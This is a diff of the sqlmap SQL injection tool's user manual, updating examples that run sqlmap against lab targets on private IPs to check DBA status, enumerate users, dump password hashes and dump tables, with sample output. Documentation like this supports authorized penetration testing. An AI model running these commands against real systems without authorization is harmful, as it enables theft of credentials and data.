      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
 
 current database:    'master'
 
      
@@ -2697,27 +2890,27 @@ current database:    'master'
 
      
 
 
-
      Detect if the DBMS current user is a database administrator
      
+
      Detect if the session user is a database administrator (DBA)
      
 
-
      Option: --is-dba
      
+
      Option: --is-dba
      
 
-
      It is possible to detect if the  database management system session user is
+
      It is possible to detect if the current database management system session user is
 a database administrator.
      
 
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2
 
 [...]
 back-end DBMS: PostgreSQL
 
 [hh:mm:49] [INFO] testing if current user is DBA
-[hh:mm:49] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE 
+[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE 
 usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
 [hh:mm:49] [INFO] retrieved: 1
-[hh:mm:50] [INFO] performed 13 queries in 0 seconds
+[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
 current user is DBA:    'True'
 
      
 
      
@@ -2727,17 +2920,17 @@ current user is DBA:    'True'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2
 
 [...]
 back-end DBMS: Oracle
 
-[16:40:57] [INFO] testing if current user is DBA
-[16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE 
+[hh:mm:57] [INFO] testing if current user is DBA
+[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE 
 GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65)) 
 THEN 1 ELSE 0 END) FROM DUAL
-[16:40:58] [INFO] retrieved: 1
-[16:40:58] [INFO] performed 13 queries in 0 seconds
+[hh:mm:58] [INFO] retrieved: 1
+[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
 current user is DBA:    'True'
 
      
 
      
@@ -2746,7 +2939,7 @@ current user is DBA:    'True'
 
 
      Users
      
 
-
      Option: --users
      
+
      Option: --users
      
 
 
      It is possible to enumerate the list of database management system users.
      
 
@@ -2754,7 +2947,7 @@ current user is DBA:    'True'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0
 
 database management system users [3]:
 [*] postgres
@@ -2767,7 +2960,7 @@ database management system users [3]:
 
 
      Users password hashes
      
 
-
      Options: --passwords and -U
      
+
      Options: --passwords and -U
      
 
 
      It is possible to enumerate the password hashes for each database
 management system user.
      
@@ -2776,7 +2969,7 @@ management system user.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
 
 [*] debian-sys-maint [1]:
     password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
@@ -2795,7 +2988,7 @@ want to enumerate the password hashes.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
   -U sa -v 0
 
 database management system users password hashes:
@@ -2820,29 +3013,19 @@ current user and will retrieve the password hashes for this user.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
   -U CU -v 1
 
 [...]
 back-end DBMS: PostgreSQL
 
 [hh:mm:48] [INFO] fetching current user
-[hh:mm:48] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
 [hh:mm:48] [INFO] retrieved: postgres
-[hh:mm:49] [INFO] performed 62 queries in 0 seconds
 [hh:mm:49] [INFO] fetching database users password hashes for current user
 [hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
-[hh:mm:49] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(passwd)) AS CHARACTER(10000)), 
-CHR(32)) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
-CHR(114)||CHR(101)||CHR(115)
 [hh:mm:49] [INFO] retrieved: 1
-[hh:mm:49] [INFO] performed 13 queries in 0 seconds
 [hh:mm:49] [INFO] fetching password hashes for user 'postgres'
-[hh:mm:49] [INFO] query: SELECT DISTINCT(COALESCE(CAST(passwd AS CHARACTER(10000)), 
-CHR(32))) FROM pg_shadow WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
-CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
 [hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
-[hh:mm:51] [INFO] performed 251 queries in 2 seconds
 database management system users password hashes:
 [*] postgres [1]:
     password hash: md5d7d880f96034b72d0bba108afe96c1e7
@@ -2853,7 +3036,7 @@ database management system users password hashes:
 
 
      Users privileges
      
 
-
      Options: --privileges and -U
      
+
      Options: --privileges and -U
      
 
 
      It is possible to enumerate the privileges for each database management
 system user.
      
@@ -2862,7 +3045,7 @@ system user.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
 
 [hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
 [hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
@@ -2931,7 +3114,7 @@ want to enumerate the privileges.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
   -U postgres -v 0
 
 database management system users privileges:
@@ -2944,8 +3127,8 @@ database management system users privileges:
 
      
 
 
      As you can see, depending on the user privileges, sqlmap identifies if the
-user is a database management system administrator and show next to the
-username this information.
      
+user is a database management system administrator and shows this information
+next to the username.
      
 
 
      If you provide CU as username it will consider it as an alias for
 current user and will enumerate the privileges for this user.
      
@@ -2954,41 +3137,23 @@ current user and will enumerate the privileges for this user.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --passwords \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
   -U CU -v 1
 
 [...]
 back-end DBMS: PostgreSQL
 
 [hh:mm:25] [INFO] fetching current user
-[hh:mm:25] [INFO] query: COALESCE(CAST(CURRENT_USER AS CHARACTER(10000)), CHR(32))
 [hh:mm:25] [INFO] retrieved: postgres
-[hh:mm:25] [INFO] performed 62 queries in 0 seconds
 [hh:mm:25] [INFO] fetching database users privileges for current user
 [hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
-[hh:mm:25] [INFO] query: SELECT COALESCE(CAST(COUNT(DISTINCT(usename)) AS CHARACTER(10000)), 
-CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||CHR(116)||CHR(103)||
-CHR(114)||CHR(101)||CHR(115)
 [hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] performed 13 queries in 0 seconds
 [hh:mm:25] [INFO] fetching privileges for user 'postgres'
 [hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it 
 into distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecreatedb THEN 1 ELSE 0 END) AS 
-CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
-CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
 [hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] performed 13 queries in 0 seconds
-[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usesuper THEN 1 ELSE 0 END) AS 
-CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
-CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
 [hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] performed 13 queries in 0 seconds
-[hh:mm:25] [INFO] query: SELECT COALESCE(CAST((CASE WHEN usecatupd THEN 1 ELSE 0 END) AS 
-CHARACTER(10000)), CHR(32)) FROM pg_user WHERE usename=CHR(112)||CHR(111)||CHR(115)||
-CHR(116)||CHR(103)||CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
 [hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] performed 13 queries in 0 seconds
 database management system users privileges:
 [*] postgres (administrator) [3]:
     privilege: catupd
@@ -3004,7 +3169,7 @@ management system is Microsoft SQL Server.
      
 
 
      Available databases
      
 
-
      Option: --dbs
      
+
      Option: --dbs
      
 
 
      It is possible to enumerate the list of databases.
      
 
@@ -3012,7 +3177,7 @@ management system is Microsoft SQL Server.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
 
 available databases [6]:
 [*] master
@@ -3030,18 +3195,18 @@ management system is Oracle.
      
 
 
      Databases tables
      
 
-
      Options: --tables and -D
      
+
      Options: --tables and -D
      
 
 
      It is possible to enumerate the list of tables for all database
-manangement system's databases.
      
+management system's databases.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0
 
-Database: test
+Database: testdb
 [1 table]
 +---------------------------------------+
 | users                                 |
@@ -3101,10 +3266,10 @@ that you want to enumerate the tables.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --tables \
-  -D test -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
+  -D testdb -v 0
 
-Database: test
+Database: testdb
 [1 table]
 +---------------------------------------+
 | users                                 |
@@ -3117,7 +3282,7 @@ Database: test
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --tables \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
   -D users -v 0
 
 Database: USERS
@@ -3137,49 +3302,49 @@ Database: USERS
 
      
 
 
      Note that on Oracle you have to provide the TABLESPACE_NAME
-instead of the database name, in my example that is users to
-retrieve all tables owned by an Oracle database management system
-user.
      
+instead of the database name. In provided example users was
+used to retrieve all tables owned by an Oracle database management 
+system user.
      
 
 
 
      Database table columns
      
 
-
      Options: --columns, -T and -D
      
+
      Options: --columns, -C, -T and -D
      
 
 
      It is possible to enumerate the list of columns for a specific database
 table.
-This functionality depends on the -T to specify the table name
+This functionality depends on the option -T to specify the table name
 and optionally on -D to specify the database name.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
-  -T users -D test -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
+  -T users -D testdb -v 1
 
 [...]
 back-end DBMS: MySQL >= 5.0.0
 
-[hh:mm:25] [WARNING] missing database parameter, sqlmap is going to use the current 
-database to enumerate table 'users' columns
-[hh:mm:25] [INFO] fetching current database
-[hh:mm:25] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
-[hh:mm:25] [INFO] retrieved: test
-[hh:mm:25] [INFO] performed 34 queries in 0 seconds
-[hh:mm:25] [INFO] fetching columns for table 'users' on database 'test'
-[hh:mm:25] [INFO] fetching number of columns for table 'users' on database 'test'
-[...]
-Database: test
+[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb'
+[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
+[hh:mm:20] [INFO] retrieved: 3
+[hh:mm:20] [INFO] retrieved: id
+[hh:mm:20] [INFO] retrieved: int(11)
+[hh:mm:21] [INFO] retrieved: name
+[hh:mm:21] [INFO] retrieved: varchar(500)
+[hh:mm:21] [INFO] retrieved: surname
+[hh:mm:21] [INFO] retrieved: varchar(1000)
+Database: testdb
 Table: users
 [3 columns]
-+---------+-------------+
-| Column  | Type        |
-+---------+-------------+
-| id      | int(11)     |
-| name    | varchar(40) |
-| surname | varchar(60) |
-+---------+-------------+
++---------+---------------+
+| Column  | Type          |
++---------+---------------+
+| id      | int(11)       |
+| name    | varchar(500)  |
+| surname | varchar(1000) |
++---------+---------------+
 
      
 
      
 
      
@@ -3188,7 +3353,7 @@ Table: users
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --columns \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --columns \
   -T users -D master -v 0
 
 Database: master
@@ -3209,7 +3374,7 @@ Table: users
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --columns \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --columns \
   -T users -D public -v 0
 
 Database: public
@@ -3227,8 +3392,8 @@ Table: users
 
      
 
 
      Note that on PostgreSQL you have to provide public or the
-name of a system database because it is not possible to enumerate other
-databases tables, only the tables under the schema that the web
+name of a system database. That's because it is not possible to enumerate 
+other databases tables, only the tables under the schema that the web
 application's user is connected to, which is always public.
      
 
 
      If the database name is not specified, the current database name is used.
      
@@ -3237,36 +3402,70 @@ application's user is connected to, which is always public.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
   -T users -v 1
 
 [...]
 back-end DBMS: MySQL >= 5.0.0
 
-[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current 
+[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current 
 database to enumerate table 'users' columns
-[hh:mm:13] [INFO] fetching current database
-[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
-[hh:mm:13] [INFO] retrieved: test
-[hh:mm:13] [INFO] performed 34 queries in 0 seconds
-[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
-[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
-[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
-FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
-table_schema=CHAR(116,101,115,116)
-[hh:mm:13] [INFO] retrieved: 3
-[hh:mm:13] [INFO] performed 13 queries in 0 seconds
-[...]
-Database: test
+[hh:mm:45] [INFO] fetching current database
+[hh:mm:45] [INFO] retrieved: testdb
+[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb'
+[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb'
+[hh:mm:45] [INFO] retrieved: 3
+[hh:mm:45] [INFO] retrieved: id
+[hh:mm:45] [INFO] retrieved: int(11)
+[hh:mm:46] [INFO] retrieved: name
+[hh:mm:46] [INFO] retrieved: varchar(500)
+[hh:mm:46] [INFO] retrieved: surname
+[hh:mm:46] [INFO] retrieved: varchar(1000)
+Database: testdb
 Table: users
 [3 columns]
-+---------+-------------+
-| Column  | Type        |
-+---------+-------------+
-| id      | int(11)     |
-| name    | varchar(40) |
-| surname | varchar(60) |
-+---------+-------------+
++---------+---------------+
+| Column  | Type          |
++---------+---------------+
+| id      | int(11)       |
+| name    | varchar(500)  |
+| surname | varchar(1000) |
++---------+---------------+
+
      
+
      
+
      
+
+
      You can also provide the -C option to specify the table columns
+name like the one you provided to be enumerated.
      
+
+
      Example on a MySQL 5.0.67 target:
      
+
      
+
      
+
      +$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
+  -T users -C name -v 1
+
+[...]
+[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current 
+database to enumerate table 'users' columns
+[hh:mm:20] [INFO] fetching current database
+[hh:mm:20] [INFO] retrieved: testdb
+[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb'
+[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
+[hh:mm:20] [INFO] retrieved: 2
+[hh:mm:20] [INFO] retrieved: name
+[hh:mm:20] [INFO] retrieved: varchar(500)
+[hh:mm:21] [INFO] retrieved: surname
+[hh:mm:21] [INFO] retrieved: varchar(1000)
+Database: testdb
+Table: users
+[2 columns]
++---------+---------------+
+| Column  | Type          |
++---------+---------------+
+| name    | varchar(500)  |
+| surname | varchar(1000) |
++---------+---------------+
 
      
 
      
 
      
@@ -3274,50 +3473,64 @@ Table: users
 
 
      Dump database table entries
      
 
-
      Options: --dump, -C, -T, -D,
---start and --stop
      
+
      Options: --dump, -C, -T, -D,
+--start, --stop, --first
+and --last
      
 
-
      It is possible to dump the entries for a specific database table.
-This functionality depends on the -T to specify the table name
-and optionally on -D to specify the database name.
-If the database name is not specified, the current database name is used.
      
+
      It is possible to dump table entries.
+This functionality depends on the option -T to specify the table
+name or on the option -C to specify the column name and,
+optionally on -D to specify the database name.
      
+
+
      If the table name is specified, but the database name is not, the current
+database name is used.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
   -T users -v 1
 
 [...]
 back-end DBMS: MySQL >= 5.0.0
 
-[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current 
+[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current 
 database to dump table 'users' entries
-[hh:mm:13] [INFO] fetching current database
-[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
-[hh:mm:13] [INFO] retrieved: test
-[hh:mm:13] [INFO] performed 34 queries in 0 seconds
-[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
-[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
-[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
-FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
-table_schema=CHAR(116,101,115,116)
-[hh:mm:13] [INFO] retrieved: 3
-[hh:mm:13] [INFO] performed 13 queries in 0 seconds
-[...]
-Database: test
+[hh:mm:41] [INFO] fetching current database
+[hh:mm:41] [INFO] retrieved: testdb
+[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb'
+[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb'
+[hh:mm:41] [INFO] retrieved: 3
+[hh:mm:41] [INFO] retrieved: id
+[hh:mm:41] [INFO] retrieved: name
+[hh:mm:41] [INFO] retrieved: surname
+[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb'
+[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb'
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:42] [INFO] retrieved: luther
+[hh:mm:42] [INFO] retrieved: blissett
+[hh:mm:42] [INFO] retrieved: 2
+[hh:mm:42] [INFO] retrieved: fluffy
+[hh:mm:42] [INFO] retrieved: bunny
+[hh:mm:42] [INFO] retrieved: 3
+[hh:mm:42] [INFO] retrieved: wu
+[hh:mm:42] [INFO] retrieved: ming
+[hh:mm:43] [INFO] retrieved: 4
+[hh:mm:43] [INFO] retrieved:  
+[hh:mm:43] [INFO] retrieved: nameisnull
+Database: testdb
 Table: users
-[5 entries]
-+----+----------------------------------------------+-------------------+
-| id | name                                         | surname           |
-+----+----------------------------------------------+-------------------+
-| 1  | luther                                       | blissett          |
-| 2  | fluffy                                       | bunny             |
-| 3  | wu                                           | ming              |
-| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
-| 5  | NULL                                         | nameisnull        |
-+----+----------------------------------------------+-------------------+
+[4 entries]
++----+--------+------------+
+| id | name   | surname    |
++----+--------+------------+
+| 1  | luther | blissett   |
+| 2  | fluffy | bunny      |
+| 3  | wu     | ming       |
+| 4  | NULL   | nameisnull |
++----+--------+------------+
 
      
 
      
 
      
@@ -3329,7 +3542,7 @@ that you want to enumerate the entries.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
   -T users -D master -C surname -v 0
 
 Database: master
@@ -3348,15 +3561,94 @@ Table: users
 
      
 
      
 
+
      If only the column name is specified, sqlmap will enumerate and ask the
+user to dump all databases' tables containing user provided column(s).
+This feature can be useful to identify, for instance, tables containing
+custom application credentials.
      
+
+
      Example on a MySQL 5.0.67 target:
      
+
      
+
      
+
      +$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
+  -C "urna"
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+do you want sqlmap to consider provided column(s):
+[1] as LIKE column names (default)
+[2] as exact column names
+> 1
+[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna'
+[hh:mm:08] [INFO] fetching number of databases with tables containing columns like 
+'urna'
+[hh:mm:08] [INFO] retrieved: 1
+[hh:mm:08] [INFO] retrieved: testdb
+[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
+[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in 
+database 'testdb'
+[hh:mm:10] [INFO] retrieved: 1
+[hh:mm:10] [INFO] retrieved: users
+[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
+[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
+[hh:mm:10] [INFO] retrieved: 1
+[hh:mm:10] [INFO] retrieved: surname
+Columns like 'urna' were found in the following databases:
+Database: testdb
+Table: users
+[1 column]
++---------+
+| Column  |
++---------+
+| surname |
++---------+
+
+do you want to dump entries? [Y/n] y
+which database(s)?
+[a]ll (default)
+[testdb]
+[q]uit
+> 
+which table(s) of database 'testdb'?
+[a]ll (default)
+[users]
+[s]kip
+[q]uit
+> 
+[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on 
+database 'testdb'
+[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table 
+'users' on database 'testdb'
+[hh:mm:23] [INFO] retrieved: 4
+[hh:mm:23] [INFO] retrieved: blissett
+[hh:mm:23] [INFO] retrieved: bunny
+[hh:mm:23] [INFO] retrieved: ming
+[hh:mm:23] [INFO] retrieved: nameisnull
+Database: testdb
+Table: users
+[4 entries]
++------------+
+| surname    |
++------------+
+| blissett   |
+| bunny      |
+| ming       |
+| nameisnull |
++------------+
+
      
+
      
+
      
+
 
      sqlmap also stores for each table the dumped entries in a CSV format file.
-You can see the absolute path where it stored the dumped tables entries
+You can see the absolute path where sqlmap stores the dumped tables entries
 by providing a verbosity level greater than or equal to 1.
      
 
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
   -T users -D public -v 1
 
 [...]
@@ -3369,31 +3661,33 @@ Table: users
 | 1  | luther                                       | blissett          |
 | 2  | fluffy                                       | bunny             |
 | 3  | wu                                           | ming              |
-| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
+| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net)   | user agent header |
 | 5  |                                              | nameisnull        |
 +----+----------------------------------------------+-------------------+
 
-[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
-192.168.1.121/dump/public/users.csv'
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
+172.16.213.131/dump/public/users.csv'
 [...]
 
-$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv 
-"id","name","surname"
+$ cat ./output/172.16.213.131/dump/public/users.csv 
+id,name,surname
 "1","luther","blissett"
 "2","fluffy","bunny"
 "3","wu","ming"
-"4","sqlmap/0.7 (http://sqlmap.sourceforge.net)","user agent header"
+"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header"
 "5","","nameisnull"
 
      
 
      
 
      
 
-
      You can also provide the --start and/or the --stop
-options to limit the dump to a range of entries.
      
+
      You can also provide the --start and/or the --stop
+options to limit the dump to a range of entries, while those entries can be further
+limited to a range of character positions provided with --first 
+and/or the --last options:
      
 
      
 
        
-
      • --start specifies the first entry to enumerate
        • 
-
      • --stop specifies the last entry to enumerate
        • 
+
      • --start specifies the first entry to enumerate.
        • 
+
      • --stop specifies the last entry to enumerate.
        • 
 
      
 
      
 
@@ -3401,51 +3695,51 @@ options to limit the dump to a range of entries.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
-  -T users -D test --start 2 --stop 4 -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
+  -T users -D testdb --start 2 --stop 4 -v 0
 
-Database: test
+Database: testdb
 Table: users
 [3 entries]
-+----+----------------------------------------------+-------------------+
-| id | name                                         | surname           |
-+----+----------------------------------------------+-------------------+
-| 2  | fluffy                                       | bunny             |
-| 3  | wu                                           | ming              |
-| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
-+----+----------------------------------------------+-------------------+
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
++----+--------------------------------------------+-------------------+
 
      
 
      
 
      
 
-
      As you can see, sqlmap is very flexible: you can leave it automatically
-enumerate the whole database table up to a single column of a specific
-table entry.
      
+
      As you can see, sqlmap is very flexible. You can leave it to automatically
+enumerate the whole database table up to a range of characters of a single
+column of a specific table entry.
      
 
 
 
      Dump all databases tables entries
      
 
-
      Options: --dump-all and --exclude-sysdbs
      
+
      Options: --dump-all and --exclude-sysdbs
      
 
 
      It is possible to dump all databases tables entries at once.
      
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
 
-Database: test
+Database: testdb
 Table: users
 [5 entries]
-+----+----------------------------------------------+-------------------+
-| id | name                                         | surname           |
-+----+----------------------------------------------+-------------------+
-| 1  | luther                                       | blissett          |
-| 2  | fluffy                                       | bunny             |
-| 3  | wu                                           | ming              |
-| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
-| 5  | NULL                                         | nameisnull        |
-+----+----------------------------------------------+-------------------+
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
 
 Database: information_schema
 Table: CHARACTER_SETS
@@ -3496,15 +3790,15 @@ Table: CHARACTER_SETS
 
      
 
      
 
-
      You can also provide the --exclude-sysdbs option to exclude all
-system databases so that sqlmap will only dump entries of users' databases
+
      You can also provide the --exclude-sysdbs option to exclude all
+system databases. In that case sqlmap will only dump entries of users' databases
 tables.
      
 
 
      Example on a Microsoft SQL Server 2000 Service Pack 0 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump-all \
